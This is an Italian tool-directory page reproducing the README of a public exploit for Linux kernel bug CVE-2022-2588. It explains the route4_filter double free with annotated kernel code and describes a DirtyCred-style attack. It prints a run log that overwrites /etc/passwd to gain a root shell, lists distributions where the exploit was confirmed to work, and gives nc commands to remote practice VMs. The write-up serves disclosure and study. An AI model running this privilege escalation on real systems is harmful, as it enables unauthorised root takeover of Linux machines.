Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-2588 — exploit per CVE-2022-2588 | Kitploit
Strumenti/GitHubGitHub/markakd/cve-2022-2588
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubmarkakd/cve-2022-2588

CVE-2022-2588

exploit per CVE-2022-2588

Vedi Repository
488713 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-2588

La correzione

Il bug è stato corretto in Linux v5.19 da questo commit.

Il bug

Il bug è stato introdotto in Linux v3.17 da questo commit nel 2014. Richiede User Namespaces per essere attivato. Questo bug è molto simile a CVE-2021-3715, causato da un'operazione impropria sulla lista collegata di route4_filter. Maggiori dettagli su CVE-2021-3715 sono disponibili nel talk blackhat (pagina 16). Di seguito alcuni brevi dettagli su CVE-2022-2588.

Qui di seguito sono mostrati alcuni importanti frammenti di codice della funzione route4_change per comprendere CVE-2022-2588.

root@kitploit:~
static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }
    
    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);
    
    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

La funzione è implementata per inizializzare/sostituire l'oggetto route4_filter. Il filtro usa handle come identificatore univoco per distinguere ogni filtro. Se esiste un handle già inizializzato in precedenza (cioè la variabile fold non è nulla), il filtro viene aggiornato rimuovendo il vecchio filtro e aggiungendone uno nuovo; altrimenti viene semplicemente aggiunto un nuovo filtro.

In [0], il kernel alloca l'oggetto route4_filter. In [1], se fold non è vuoto, significa che esiste un filtro con lo stesso handle: vengono copiate alcune informazioni nel nuovo filtro che viene poi inizializzato in [2] e inserito nella lista in [3]. Se il vecchio filtro esiste, viene rimosso dalla lista in [4] e liberato in [6].

Il bug si verifica in [4], dove si controlla se esiste un vecchio filtro da rimuovere. La condizione richiede che l'handle non sia zero e che corrisponda all'handle del nuovo filtro. Questa condizione non è allineata con la condizione di liberazione del filtro in [6], che controlla solo se il vecchio filtro esiste. Pertanto, se un utente crea un filtro con handle 0 e poi ne attiva la sostituzione, il filtro non verrà rimosso dalla lista in [4] ma verrà liberato in [6], poiché le condizioni non sono le stesse.

Lo sfruttamento

Poiché questo bug è simile a CVE-2021-3715, le loro primitive sono quasi identiche. I lettori possono fare riferimento al talk blackhat per una descrizione più dettagliata delle primitive. Questo write-up mostra lo sfruttamento con l'idea di DirtyCred.

Poiché il fold liberato è ancora nella lista collegata dopo l'attivazione del bug, possiamo liberare fold una seconda volta, causando infine un double free sull'oggetto route4_filter e sull'oggetto route4_filter->exts.action se CONFIG_NET_CLS_ACT è abilitato.

I codici di exploit utilizzano queste due capacità di double free per dimostrare l'attacco sulle credenziali del task (sfruttando il double free di kmalloc-192, in arrivo) e sulle credenziali del file aperto (sfruttando il double free di kmalloc-256).

Attacco alle credenziali del file

Seguendo l'idea di DirtyCred, il codice di exploit scambia la credenziale del file dopo i controlli di permesso, consentendo di scrivere qualsiasi contenuto in file con permesso di sola lettura. Idealmente, il codice funziona su tutte le versioni del kernel affette dal bug. Si noti che, per garantire il funzionamento su kernel più vecchi dove msg_msg è isolato in kmalloc-rcl-*, l'exploit utilizza un diverso oggetto di spray.

root@kitploit:~
[zip@localhost ~]$ ./exp_file
self path /home/zip/./exp_file
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[zip@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[zip@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)

L'exploit è stato scritto per funzionare sul maggior numero possibile di distribuzioni. È stato confermato funzionante su:

  • CentOS 8/Stream (4.18.0-80.el8.x86_64 ~ xxx)
  • CentOS 7 (4.20.11-1.el7.x86_64, 5.4.179-1.el7.x86_64, 5.9.6-1.el7.x86_64)
  • Debian 11 (5.10.0-8-amd64 ~ xxx)
  • Fedora 33 (5.8.15-301.fc33.x86_64 ~ xxx)
  • Manjaro 18 (xxx ~ xxx)
  • RHEL 8 (4.18.0-80.el8.x86_64 ~ xxx)
  • Ubuntu 17 (4.10.0-19-generic ~ xxx)
  • Ubuntu 18 (xxx ~ xxx)
  • Ubuntu 19 (5.0.0-38-generic ~ xxx)
  • Ubuntu 20 (xxx ~ xxx)

(Sentitevi liberi di inviare una PR per aggiornare questa lista se scoprite che funziona su altri kernel.)

Vuoi giocare con l'exploit in VM?

Effettua il login con utente low e password low

Ubuntu 20

root@kitploit:~
nc 150.136.171.117 1337

Centos 8

root@kitploit:~
nc 150.136.171.117 1338
Scarica lo strumento